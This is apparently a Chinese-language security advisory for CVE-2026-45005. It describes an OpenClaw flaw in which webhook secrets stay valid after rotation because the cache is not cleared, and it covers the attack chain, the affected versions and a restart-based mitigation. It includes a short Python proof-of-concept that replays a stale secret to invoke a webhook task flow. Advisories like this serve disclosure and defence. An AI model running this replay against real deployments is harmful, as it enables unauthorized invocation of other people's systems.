IPBUF安全漏洞报告
English
CVE-2026-45005 CVSS 6.0 中危

CVE-2026-45005 OpenClaw Webhook Secret缓存漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-45005
漏洞类型
认证绕过
CVSS评分
6.0 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

认证绕过缓存失效OpenClawWebhook凭证管理

漏洞概述

OpenClaw在2026.4.23版本之前存在一个安全漏洞,涉及Webhook路由密钥的缓存机制。该产品会缓存由SecretRef值解析的Webhook路由密钥,但在密钥轮换和重新加载后,未能使旧的缓存失效。这意味着,攻击者如果掌握了之前有效的Webhook路由密钥,即使管理员已经轮换了密钥,攻击者仍可利用这些过期的密钥继续进行身份验证并调用配置的Webhook任务流,直到网关或插件重启为止。该漏洞的CVSS评分为6.0,属于中危级别。

技术细节

该漏洞的根本原因在于OpenClaw处理Webhook路由密钥时的缓存逻辑不完善。当系统使用SecretRef引用外部密钥时,OpenClaw会在启动或配置加载时解析该引用并将实际密钥值存储在内存缓存中。然而,当管理员更新底层的SecretRef值(即进行密钥轮换)并触发配置重载时,OpenClaw并未清除或更新内存中已缓存的旧密钥。利用该漏洞的前提是攻击者已经获取了轮换前的有效密钥。在密钥轮换发生后,虽然新密钥应当生效,但由于缓存未失效,攻击者可以使用旧密钥构造请求发送至Webhook端点。网关在验证时,会直接命中内存中的旧缓存,从而通过身份验证。这导致密钥轮换机制失效,攻击者可以维持对Webhook任务流的未授权访问。由于CVSS向量显示需要高权限(PR:H),这通常意味着攻击者需要具备一定的内部访问权限或曾拥有合法的API访问凭证才能发起攻击。

攻击链分析

STEP 1
1. 凭证获取
攻击者在密钥轮换前通过某种方式(如日志泄露、内部威胁或之前的漏洞利用)获取了有效的Webhook路由密钥。
STEP 2
2. 密钥轮换
管理员发现潜在风险或按计划轮换了SecretRef中的密钥,并尝试重新加载配置以使新密钥生效。
STEP 3
3. 缓存未失效
由于OpenClaw的漏洞,系统重新加载配置时并未清除内存中缓存的旧密钥,导致旧密钥依然被视为有效。
STEP 4
4. 重放攻击
攻击者使用已获取的旧密钥向Webhook端点发送请求。
STEP 5
5. 认证通过
OpenClaw验证请求时匹配了内存中的旧缓存,认证成功,从而执行了攻击者指定的任务流。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target OpenClaw Webhook Endpoint target_url = "http://vulnerable-openclaw-instance/api/webhook/invoke" # The old/compromised secret that should be invalid after rotation # but remains valid due to improper cache invalidation stale_secret = "previous_webhook_secret_token" headers = { "Content-Type": "application/json", "Authorization": f"Bearer {stale_secret}" # Or however the secret is passed (e.g., header, query param) } # Payload to trigger a task flow payload = { "flow_id": "target_task_flow", "action": "execute" } try: print(f"[*] Attempting to invoke webhook using stale secret: {stale_secret}") response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful! The server accepted the stale secret.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

OpenClaw < 2026.4.23

防御指南

临时缓解措施
在无法立即升级补丁的情况下,一旦进行了密钥轮换操作,必须强制重启OpenClaw网关或相关插件服务,以彻底清除内存中缓存的旧密钥,确保旧凭证完全失效。

参考链接